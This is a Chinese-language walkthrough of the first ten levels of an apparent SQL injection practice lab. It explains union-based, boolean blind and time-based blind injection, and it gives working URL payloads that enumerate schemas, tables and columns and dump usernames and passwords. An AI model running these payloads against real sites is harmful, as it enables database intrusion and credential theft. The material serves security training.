在开始闯关之前不妨先对sql注入有一个基本的概念,所谓sql注入,实际上就是通过***漏洞***将sql命令插入web表单或输入域名或页面请求的查询字符串,把sql语句注入到后台数据库,从而把网站数据库中的信息提取出来。
1、对于用户是数据的录入和提交的界面;
2、对于网站是获取用户信息的途径;
3、负责数据采集的功能。如可采集访问者的名字、邮件地址、调查表、留言簿等;
4、一个表单有三个基本组成部分: 表单标签、表单域、表单按钮。实质是存储表单控件的网页文件和处理表单提交数据的处理程序,该程序在服务器上运行。
进行sql注入有不同的方法,前四关都是一种类型,它们的不同之处在与包裹数据的方式不同(看图观察‘$id’变量的包裹方式)。之所以说它们是有别于之后几关的sql注入,是因为它们会直接把id对应的‘username’和’password’回显到网页中(观察if语句中的内容)。下面附图说明不同。
通过观察可以发现每一关的包裹数据的方式都不相同
第一关:通过’$id’的方式包裹
第二关:通过$id的方式包裹
第三关:通过(’$id’)的方式包裹
第四关:通过($id)的方式包裹
根据包裹方式的不同,注入时也是略有不同。
一般包裹方式就是七中分别是:id、‘id’、(‘id’)、((‘id’))、“id”、(“id”)、((“id”))。确定类型以后可以使用手工测试的方式进行确定。
(1)推断有多少列的方法:
order by [参数] (可以判断有多少列,它的作用是将回显信息排列,'参数’的作用是指明按哪一对应的列排序)
(2)联合查询:
union的使用 (使用时需要注意,union明确要求前后语句回显的列要相同)
(3)查库:
select schema_name from information_schema.schemta;
(4)查表:
select table_name from information_schema.tables where table_schema=‘库名’;
(5)查列:
select column_name from information_schema.columns where table_name=‘表名’;
(6)其它
?id=-1’ union select 1,2,group_concat(sechma_name) from information_schema.schemata–+;
其中group_concat的作用是使同一个分组中的值连接起来,返回一个字符串结果。
2.第二步(判断所查表中的列数)
在url栏中输入?id=1’ order by 数字–+(‘–+’在sql中是注释符,这样让之后的语句不能执行,只能执行我们注入的语句。数字要从1开始逐个尝试,直到报错。最后则说明表里面有报错的数前一个的数的列数)
由下面两副图你会发现对应表中一共有三列
3.第三步(判断表中哪几列的信息会回显)
在url栏的域名后输入?id=-1’ union select 1,2,3–+
因为前四关会有回显,所以看回显出的是哪几个数字就能判断出哪几列会回显到网页上,由下图可知是第2、3列会回显的网页中
4.第四步(查库名)
在url栏里面输入:?id=-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata --+或者输入?id=-1’ union select 1,2,schema_name from information_schema.schemata limit 1,1–+(limit的作用是限制回显的库名是第几个)这里主要是说明一下limit的用法,因为下面几关会用到,到时候不做说明。(同时需要注意1前面的-是不可少的主要作用是使第一句的查询结果不要显示)
5.第五步(查表名)
要输入的是:?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘security’–+
6.第六步(查列名)
在url栏输入:?id=-1’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’–+
7.第七步(提取数据)
输入:?id=-1’ union select 1,2,group_concat(concat_ws(’~’,username,password)) from users–+(‘concat_ws’的作用是将‘username’和’password’合并回显,同时在它们中间插入‘~’)
和前四关不同的是第五关到第八关没有将搜索到的信息回显到网页上(注意观察if语句中的内容),但是和前四关相同的是它们之间的不同也是包裹‘id’变量的方式不同(注意观察’id’变量)(值得说明的是第五关和第八关的包裹方式相同,但是它们还有一个区别是当输入错误的语句时,第五关会返回错误的提示而第八关则不会,读者可以留意下图中第五关和第八关的源码)
第六关的包裹方式:id
第七关的包裹方式:((‘id’))
第八关的包裹方式:‘id’
较前四关而言第五关到第八关不同之处在于没有回显,我们不能直观的看见信息,所以我们需要一种新的方式进行sql注入——布尔型注入
1.substr()函数:格式是substr(a,b,c)意思是将a字符串从b位置截取c长度
举例: select substr((select schema_name from information_schema.schemata limit 0,1),1,1)=‘i’;
2.ascii()函数:将括号中的字符转换为acsii码,再在最后进行值大小的判断,正确返回1,错误返回0
举例: select ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))>1;
3.模糊查询:要用到like函数
举例: <1>在mysql navicat中查字段会出现的情况有
(1)select database() like ‘%s%’;表示库名中是否有一个带有s
(2) select database() like ‘s%’;表示库名中是否有一个开头字符为s
<2>在电脑自带的命令行中进入mqsql则情况完全不同如果用 select database() like ‘字符’;它没有在mqsql navicat中那么多的情况,只有一种就是’字符%‘,这种情况的原因是我们已经锁定了一个数据库导致的。
4.regexp函数,regexp为匹配security正则表达式
举例: select database() regexp ‘s’;
5.left函数,从字符串开头截取括号中的数字个长度的字符
举例:select left((select schema_name from information_schema.schemata limit 0,1),1)=‘i’;
2.第二步:(判断查询的表中有几列)
在url栏中输入?id=1’ order by 数字–+(‘–+’在sql中是注释符,这样让之后的语句不能执行,只能执行我们注入的语句。数字要从1开始逐个尝试,直到报错。最后则说明表里面有报错的数前一个的数的列数)
由下面两副图你会发现对应表中一共有三列
3.第三步(和前四关不同的是这里没有回显,所以就不需要通过联合查询判断哪几列会回显到网页上,直接判断数据库名)
输入:
select substr((select schema_name from information_schema.schemata limit 4,1),1,1)=‘s’–+
或者
select left((select schema_name from information_schema.schemata limit 4,1),1)=‘s’–+
又或
select ascii(substr((select schema_name from information_schema.schemata limit 4,1),1,1))>0–+通过二分法和ascii函数联合的方式进行判断
还有很多盲注的方式这里不再一一介绍,通过多种函数的联合的方法可以有许多不同的方法,留待读者自己去发现。一般盲注都会通过burpsuite等软件进行操作,因为手工太慢这里不赘述burpsuite的使用方法,具体的使用方法请读者自行寻找对应文章。
与第五关到第八关不同第九关到第十关只能用时间盲注,原因是无论输入的语句正确与否都会得到相同的回显‘you are in…’,所以为了判断输入语句正确与否
与第五关到第八关不同第九关到第十关只能用时间盲注,原因是无论输入的语句正确与否都会得到相同的回显‘you are in…’,所以为了判断输入语句正确与否,要用到一个新的函数if()和sleep(),这样通过相应客户端的时间就知道输入语句是否正确,得到的结果是否正确。
老规矩贴图为例,和之前提过的观察点相同。
1.第九关集成环境中的源码
2.第十关集成环境中的源码
第九关包裹方式:‘id’
第十关包裹方式:id
1.格式:sleep(n)
这个函数的意思是让程序晚n秒执行。
2.格式:if(A,B,C)
意思是若A为真,则执行B,若A为假,则执行C。
1.第一步(判断是否存在注入)
输入?id=1’ and sleep (5)–+判断是否有sql注入,如果没有立即相应客户端,则说明存在漏洞。
2.第二步(因为没有回显,所以直接进行判断库的操作)
输入?id=1‘ and if((substr((select schema_name from information_schema.schemata limit 4,1),1,1)=‘s’),1,sleep(3))–+通过给的句子进行不断猜解,就可以查到库名。
3.用近似的语句可以查表名、列名及表中信息,通过前面的练习,相信读者已经对sql注入有了了解,重复的部分也不需要赘述。